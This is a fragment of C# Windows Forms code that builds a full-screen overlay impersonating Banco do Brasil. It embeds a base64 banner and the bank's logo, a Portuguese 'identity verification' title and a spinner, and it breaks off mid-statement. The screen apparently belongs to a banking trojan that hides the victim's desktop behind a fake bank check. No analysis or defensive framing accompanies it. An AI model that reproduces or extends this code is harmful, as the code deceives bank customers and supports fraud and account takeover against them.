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"; string bbLogoB64 = "iVBORw0KGgoAAAANSUhEUgAAAOEAAADhCAMAAAAJbSJIAAABJlBMVEVHX//++zD//yRHX/3//yf7/Sz//xf8/DH9+zT//wBIXf///C78/DD++jY4Uf///CdGYPo3Vf/Q2Gr9+js/Xf83V//3/jJIX/VEYf1FYvRNXPpHYPhHWv/++T44UP9LXu5kcuH3/TXw9T+aoL69wpBFTf9HYu4nWf/4/yFPXe9udtxredva42SmsKfh6E2ssKDi41rM13hyi72utptlaefR41mToaSpspXb2Wyira6gr5xpfNTf42idrbDS4Ghfc9fo5lBecOSopbyip7OYq6eHkL2+y4TS3nWOnsGMh9jJyolRaOKJkszJz33p7ENUZ+57g823wZSQoLVvh83O0oR0hNTCwJDm9UOBjc/a7U+MkcTt7T1xicPG1HpbXeauw4qlpa0rRP9yLnNLAAASTklEQVR4nO2caV/byLKHpd4kt7ZuJFmrBXJiI9bAQBZCluEQCCcQDLnJDZM5Se58/y9xW8QhlmQgmd8ZrBf9vBtHGlSq7qp/VXdLUSQSiUQikUgkEolEIpFIJBKJRCKRSCQSiUQikUgkEolEIpFIJBKJRCKRSCQzAoYMKp4NoRL84o2MKqm4rfXQmA395c0Vm6W/dmOqMP5byv6Zp/pvwmDCtxyCt/xfdEfAt5885NE/81T/TSBf2CAucsHqAv+V+2j2CJNN3vZRygLff0oMtQShxzxNAnbrM0OFhcxeeEJ0MGe33UK6uLyuqb1LC1WHbKzYSUpvvYtFif0cg8Jtv4Wpv4Oswi2+WajlwHjK2a2xgyb29gti6S5us4VhmCiU7z4jjqYbYx+qjivcuGCn8AYjQ5ZCeycnKjZN7LTYQkppwNd0R61hOfpzW7khb6Qw2n6Bxl4XFt7dI/8iDHovfye6Vrewq5lgde+GoBryfwHk9K4sbKcPIaRptpYjXa8bqFo9rDnujg+pQuupLlFChS+vdvDVi2mthSz09h6Oc8Q0DLA68uCIVqIqVChMB69yhH84vrUWev5zbDj5tRaq2Cj2fS+p3ESDyF5+CICp4dZbyI/nOjp2r/ehqmuYzG3XZqM3eKU5Wo6xPmFh1jILYTAfpHwNoZpFGm5OSQPv+3EQj+8MGF/eQI2X8oLHN/7BO0ckOv7yGWg8qKXhxm+mCuZG/ngqMhjv5ADXr3E2s+Tmv3jnROkrFTRyBOivA6v+9Bj1nOLdWMNBdgCI69bd3DmEbbIwFDNwYRU4uvrDXz3VxQbZjNJDoOu6NhFEVMtCpoE293jMYBQpfO91xzSs7y/CcrEG9B1badM8jIVc7lpVXxW5AcwjP00G/+6DLsZm3ZPAvZcpSSw86Xk7xALd8RW3KoNZwI9XSQ91qxPQAJtDT4g0lvhvAMYNjWNi8uTYj4RQpdA7/t1Qx2+oVHcZu70MuSMSIVC8dF8HGupVHl9D3Uc8jSPIGPX4SR/lYnJVvexip39kK1QJE6FlHxBDM1Xjm0KnSVtaGJQuQW/0oiFichWt7nk/JpIfvO3oWt4YqRb4PJ9GZVoI4e4pUHP356qsuwMmHt8vmskM4J0Boz86bDDITvrEalyXOyg/ysor4hTG54CQ1Zc8+IlK+e5It1+ARk43yPoChywJf1zHIBxtkrqBYjDrGnk774t3MBTV78npFo+DIGxLFGUJ9J8XVREjql7N6D79a0oZyAYHfdCwsXS4e8TjBMJQSW3/7s24gdTfniNWVY1ojtXZWJn6nMnQ395EjalYvhb8PoLD9oTP71D/nahXcdVC3Cue2vHUQl5kPpa9y+vCtRyrBXBPsqQtY7NkGAeQL8xhR0duTZMZeGveT2DU7BzCIKQK394kpm5VWxyWblqd90siwITT/toMoDGjfN+d4o3LaXV6xiN47ZCL9xECeSP/98DpRRb9Yvf/nyPyj58Bc9qUEmEV6+RNvHhdS54Gi6NnQnnXb+xqiLyf9+7UjGuB4WC/i3CjZPg24IxSr52eZXByzIURZTQqI2Uihqq/jw1dq93v6CY5vbCVNIxmvOrEEj6aA71p5k2MOfI18IMfY47SIPa+vH7Ek/I36B9vENwoCcsuzmEaQhrP1kLPvqcZTrf5eJPkBjk9ySbEV8TsfQLA5jEXE3Q+SrLn2rRpjPX+GQ+DmeYNfrzZ0S23ESmq6K6LxGy8ciLkS6+BKPeBkNopFHI88Fc2prTkdBWRc3HFbGyDkRih2SM8VZc00XTinl028YVP/Hdj7SNq4pENYcAUL1sDjmU1uzjozzOb/uKi8X+HeD7xh3PmDX20CjkAX0eXWTH1R5+BOp52Juq/yy5DJrVXVolaNCKyCdB57M2ivICKfYSMYkqAmIaB1v/HTiNhIU2PMHGLfPz8LsGfl8rCCs773lZhNUJyruug/2EmNf72ZsfFvalJomKba2K3APfjNAoCUeAfv0eO7vyQMS5G+QmnIiUI3bC83gg4uql3LXDO6J0LHDZ/n5g4v9WHOrJ6nT8/+H5Eg8SzRV3YeAfdzvP4stG0FP61Xh/2GGMX9A/oDLJitPjhFKm3+tDUjeJ//UAkCBb5o/edKR0a5x5PL5uF9t5Gw4caxuRQTNW716hJHPjsKzEmW4YNXGyq4OMFFyW7QmEmKsJ8IlgaqtnTMdk89pmoeCkcrOFqOWUZppmD/kUWxKEyk15GwC/+BHp+vYWG3iNv0rI+jCN//rDeDdZEoNT3Yx5ASkM2WkV1ZaNZRufN9OrrboihF98nN2REHX08sYNyAHrCgUSvah/N6ZEn25yGYRrRwT2iYa06hIVqF6Jmpo2oJAjsi9Nmw2WMQz7HcVC2AtP4kGC31gc2LbI/TykLw0RoI2KqWKteYZC3wzS9fVfKP0zKz8slNLdSAZVrfyY4/W0QhnAexvZvzZ5MYRnro8s8Bz3/nVOdzYVmYhOdHmQzNm4M/7AOHFzRWzrqWeTNyE8TGicBO8SoLsc0q3hq03IELi2O3gO9GkQ1DefkzZI/bEe3hnnxOahWsdgi/U9MgQGEif3BRY2Wk4H+2LNhQssGz4FGtJp4NzHOP9mhCMCzNq5EJAIlO1sHV3PIwq7VOQwWUyaqOxGLOpYxocYcMR117DweiAQp7OfDJ0TTJ10oLrUK8D7wFcpmPgevSLzgHOjjWI97qHswKCNoGtkf1km1PnaRpZM/dweJyBFDOPjU12rxReuayD3gLWlhfCcWJd7u+rifj0QI9S4XUzwRQpFZzRG4Z5DzLC79F/L4s6gn6hG0R94yn7VsVTsUEcWbP9cc0zDQ6b0soRFLFbscu1UPauLfP34QIYZRGGYnfaR2dTFqJ4co6h/wm7aDzZIyqKpgc5sPy7kZ+ofYqEk6UzXA/cutogkL2NdOQ/EVGLwf+jOpeH8Gmvpb/YNBoMCUJfbZqZiYtaI9dz5+yC5TAMvO+qRXVWmGaqH+EYdBy0boDyCDfsSGCVRCz95ysCZ0eSWJOOAtTYdlFky9c+Kapl6zsGxOxZC1aVfCNKCoZT+cVreaWCjXNXT6n0FAYRrQwYdTUt9J5FokPxq0I8XfQuylW11UW6PByAKHUTxUAjoUqcUAwsOVGYoReb/ttzTC1ODLQozXJiDqkf4JT6mYolG2u2EgV6/uHbLU7tGse6O3A4VKSxl7gMoNMxO1oCZK3c7hKE2jYZxE2TkG2DKMif6Apepgc94P45CypLVh5hIYLO5tAFyV4WrXQt1Pg7KQTSO+97C50I+N4l4asjANhmnbUn0FmqSDBwTj+nYZvfM58KNy/Smw14hhNZqiZG4YQlHoR3zpaL4tq4YNoIih9vJDInKgpo1t0A3DwBrI72VhIHRayl8+LLdg/LBf/IelGdo73xPDF0bZ2UZnbpmHtFW72L6TRot8rdbkN7GbW+T1FzuEiZBpfK1Qq0nezHVMnpUbTGmSQP8rMjDS1mxPSKLWVBVXRHz5GXGqKrTsBWuPBsGQQsj8vVVgOaQyRR2L4KOs7IUyOPjwEVlihBdkYzdLWrhTIVtTUa5VV3OxTp4s2IEo9OLh4FGOVKzplTDjkrlj/7LST7NzZOSictQ0DelPs9ascJcwodbslxsA1DoVugbUR5nwRRzCdPtZY/nMFLLgX5kXwATCeHd9oqFloPUVLoLrrC0bIwpZxp9jUNk0Kug55NkCL8uEAA7edY3GAoCG5vbmk0BhihBBwJrci4ON7lramsxIk+xyrxA2qzkCdF9xdnkqJl2aI72GhQjv22GapAm1RdVVOJPNUuwanfWFVmyJgkHq8f/LhYH6VaVgapquYrK6YEc0CGPqH3QtVZvYiyDyhamRuT2f0iGNPP5YN3BPn9zNIf53uQMexGEcBzOOqmkYjV6gao7QypxPHgy8qFxw8YI3HbXarne7CIB9zxP+j4Z85Y+pZ050jMHG3mJy/V6cu4HZ94BTyxHat2eLQqgk3D+wgHBJZcXCUNGz48UyH0A/20KgvnH96j3pnS3bi2ZloihzQ+ofzxGhsyd8YDliOqIHjKVJQiP/yyEqdB1P5Aihsh284wnvM0rtlYdAzaduxinHumGCP3btcrPmLAykQoXy/T6p76WxLHK6Unbr4yjiF81uvhjAG3t+QJmolNLHRT3F1LHQeeDPJP1TZcj35hDQ3FqpC9AWvTxxn/Cl+x0jrz+yo+5kMJqH4v0sPwM965ZV5MIEG2czOXxI2eBdueBp1TYr6L/v+vHlfmD4nz5wi/pmRbKx4gcBTcLUX8uBVi+0GggZD8BjfwZOhNFrgjS9MYOcJ3uL6WWAh/ew46KJC4RkQ8WrzBOVcpRkCxvNXuJ0LExORzNI/0trWLe0xkO6qLvzraEbLwoh0PvR8Na7Rmd8FD/y+dPCucV7VyBzYyW9+w8OwMh/+QdpFrOqq5aporQw9PhRMfEKjGKNw/lyvJWHhnrdn9yLg7Qtngzvfu8XhTRN1wqjfr7HEsWBke/4aQDjAKajZ7jr6ELt6CJHLvvf6j7/FTK06fs1Kwjto5udF8u2Qssj4TOApcvrpFfUH0woVLQ6sqOAxpGXPe9gUcnnBnmw5I2HGtzb7Dju7T4stQ/ZYTNchYJJYj9truJrru5Yxf7AgyJmKv7oCRE58vcF4dZx0Qc9+0Ik0lvnodA+q8feLGvhUAw5vrIqVFm1O4qxKKTI3Bdf6HJR/vKdAmzRlEJl7EMaC7sPidGMU5MONHUDrUEvnfGufaik8RYBBmrmNdQ9siNWZkZvebeRsxN+1EfuDVtvC52I+qkN3RrqcSEue26zwLXI3Pxlmz714ka5Hid8+PaGg+wis65lLGnDOhsUASd4PO1ZTUvtHpRdjGjKQAvFkLUP8uu2G33TPglszXd37N11hPRmctTJ220Or12N8Nnb5ml9U5TSqFhrVy9KYX58LlR4wxNuAfpHWRLR6dmMpn+9apy10Au184ufIboDWMD47nrjdLppWiZSPy/513z8KvWPmsHGsK60T1ugEA6pKHmDLeBY2mRH1DIMQ0fg4ycRVNOqGyFMKD9uxBrLNMnqcunANkTRMSJ/h5GopkTFvvuxY6mNDV4qKA5tf1h9ZHF5dtBvDFEstA/zWhNfLqF8+/XJgLE4YUoyOBclQyPguD0nvxhUy58QHm9OVh7jEQo2FnwatCbIQAipZ4tCmHxNGSxFNcvOPiKnLqqx0F/k63yawm8KTNyn8IN+ZcOsoRo6NrQHIncGynDWln0nEG97/nMZX/DHXfvbJpE0vg8srRE+tB5ZP+OxEgbliXvKAzEDK1NQ72LNWV9pWQiFkZBeTumI3Cge08vOZgCzi4+kURnppOeQ88QPy3Na0PvUB1avmlwcoULt1gzPMV78FiCtDCw61sH6dtmFZ0nE4/tkSpbThdD8kEVUSdP7xNU0s/oayPqKHc/P2qQJRKWQHXUnMiBWOw/4t7XbcHCxDrAKGl+/cMB56k9rMWqI7GQt241IY3YIjIkaTzN6ZHXh8imj1A/uo16vaOSNnPxxdt6p/yrG8MayF7YmvnwDXogZmE+exDIRJsUrv2ylRgr0L0RubNQb2HAMp5fXfkX4Qcxo0rJJmK06uW5MnN3Wu66FVlfKaEMVBtPF+CtRtaK6JqGbloEmzqCUnRhMnq1wGidKu/K8Ys85tcMRPVTs2BNpnf110kfWzYcvy04MejDLMyPX07BQAy9GfjRp4dCLD8E1h9ivfIhEGdHOTUL2nDGeg4auuw42sAiG4eSpZMZgmB2dImy5006yX3Vi0pZutrQ3r5atsQly8nDPPm4MNpjYx8KNQJvaVmtPJ2Yqwof4uyssCz/PlGTKx4xFxLFP/kS96esvrenETOWHhdjtzB3bQnlHDXew8vtr8ej9lLzRvk5MHf72cm3TKlwnP8puLMhp9ltuTK6zlZ0Yp4UqtIqwsIylWq/z+ti7JVQw/uXz5K71y07Mst2mPsUUxhY6xcEAhrdE+zhMBgfdH2K87MSk/nxrY8w3hIWuhcHmyE/obeevmEKZ/+UzKnoutsadGMra1ImZhn3oqEA9svnPHaCjI98+soiIS3kLOzFT4W+dzpsoZfTnPukgysIAJpvEFSG0VZ2Y6+Hv8cEiFRr7586RhyJvUMrvFWIGtqoTcz3+Uf3TsT+Dt73S3s9W1wj94d9QI3Q225v+HvDvfPsnatGpUIlEIpFIJBKJRCKRSCQSiUQikUgkEolEIpFIJBKJRCKRSCQSiUQikUgkkqn8P/mdqhS7s2jrAAAAAElFTkSuQmCC"; // Fundo escuro (navy) cobrindo tudo Panel bbBg = new Panel(); bbBg.Size = new Size(scrWBB, scrHBB); bbBg.Location = new Point(offXBB, offYBB); bbBg.BackColor = bbNavy; overlayForm.Controls.Add(bbBg); // Header dark navy (sem logo, sem cadeado) int bbHH = 45; Panel bbHdr = new Panel(); bbHdr.Size = new Size(scrWBB, bbHH); bbHdr.Location = new Point(0, 0); bbHdr.BackColor = bbNavy; bbBg.Controls.Add(bbHdr); // Area principal (abaixo do header) int bbMainH = scrHBB - bbHH; int bbBlueW = (int)(scrWBB * 0.55); // Painel azul com borda curva direita (adicionado primeiro = z-order frente) Panel bbBlueP = new Panel(); bbBlueP.Size = new Size(bbBlueW, bbMainH); bbBlueP.Location = new Point(0, bbHH); bbBlueP.BackColor = bbBlue; bbBg.Controls.Add(bbBlueP); // Borda curva no lado direito do painel azul int bbCurveR = (int)(120 * (scrHBB / 1080f)); bbBlueP.Region = CreateRoundedRegion(bbBlueW, bbMainH, bbCurveR); // Imagem no lado direito (adicionada depois = z-order atras do azul) int bbImgW = scrWBB - bbBlueW + 120; PictureBox bbBnr = new PictureBox(); try { byte[] bbBnrB = Convert.FromBase64String(bbBannerB64); bbBnr.Image = new Bitmap(new System.IO.MemoryStream(bbBnrB)); } catch { } bbBnr.SizeMode = PictureBoxSizeMode.Zoom; bbBnr.Size = new Size(bbImgW, bbMainH); bbBnr.Location = new Point(scrWBB - bbImgW, bbHH); bbBnr.BackColor = bbNavy; bbBg.Controls.Add(bbBnr); // Conteudo no painel azul (100% responsivo) float scale = scrHBB / 1080f; int bbPad = (int)(scrWBB * 0.08); int bbCY = (int)(bbMainH * 0.08); // Logo BB int bbLogoSz = (int)(200 * scale); try { byte[] bbLgB = Convert.FromBase64String(bbLogoB64); PictureBox bbLgP = new PictureBox(); bbLgP.Image = new Bitmap(new System.IO.MemoryStream(bbLgB)); bbLgP.SizeMode = PictureBoxSizeMode.Zoom; bbLgP.Size = new Size(bbLogoSz, bbLogoSz); bbLgP.Location = new Point(bbPad, bbCY); bbLgP.BackColor = Color.Transparent; bbBlueP.Controls.Add(bbLgP); } catch { } bbCY += (int)(bbLogoSz + 30 * scale); Label bbTitle = new Label(); bbTitle.Text = "Verifica\u00E7\u00E3o de Identidade"; bbTitle.Font = new Font("Segoe UI", 30f * scale, FontStyle.Bold); bbTitle.ForeColor = Color.White; bbTitle.AutoSize = false; bbTitle.Size = new Size((int)(scrWBB * 0.46), (int)(80 * scale)); bbTitle.Location = new Point(bbPad, bbCY); bbTitle.BackColor = Color.Transparent; bbBlueP.Controls.Add(bbTitle); bbCY += (int)(90 * scale); Label bbSubt = new Label(); bbSubt.Text = "Estamos confirmando sua identidade e\no Ambiente do computador."; bbSubt.Font = new Font("Segoe UI", 13f * scale); bbSubt.ForeColor = Color.FromArgb(200, 215, 255); bbSubt.AutoSize = false; bbSubt.Size = new Size((int)(scrWBB * 0.44), (int)(70 * scale)); bbSubt.Location = new Point(bbPad, bbCY); bbSubt.BackColor = Color.Transparent; bbBlueP.Controls.Add(bbSubt); bbCY += (int)(85 * scale); // Spinner int bbSpSz = (int)(50 * scale); Panel bbSpin = new Panel(); bbSpin.Size = new Size(bbSpSz, bbSpSz); bbSpin.Location = new Point(bbPad, bbCY); bbSpin.BackColor = Color.Transparent; bbSpin.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int m = 4; int d = bbSpSz - 2*m; using (Pen bgP = new Pen(Color.FromArgb(60, 255, 255, 255), 3f * scale)) { e.Graphics.DrawEllipse(bgP, m, m, d, d); } using (Pen aP = new Pen(Color.White, 3f * scale)) { aP.StartCap = System.Drawing.Drawing2D.LineCap.Round; aP.EndCap = System.Drawing.Drawing2D.LineCap.Round; e.Graphics.DrawArc(aP, m, m, d, d, (float)(angle * 180 / Math.PI), 90); } }; bbBlueP.Controls.Add(bbSpin); bbCY += (int)((bbSpSz) + 25 * 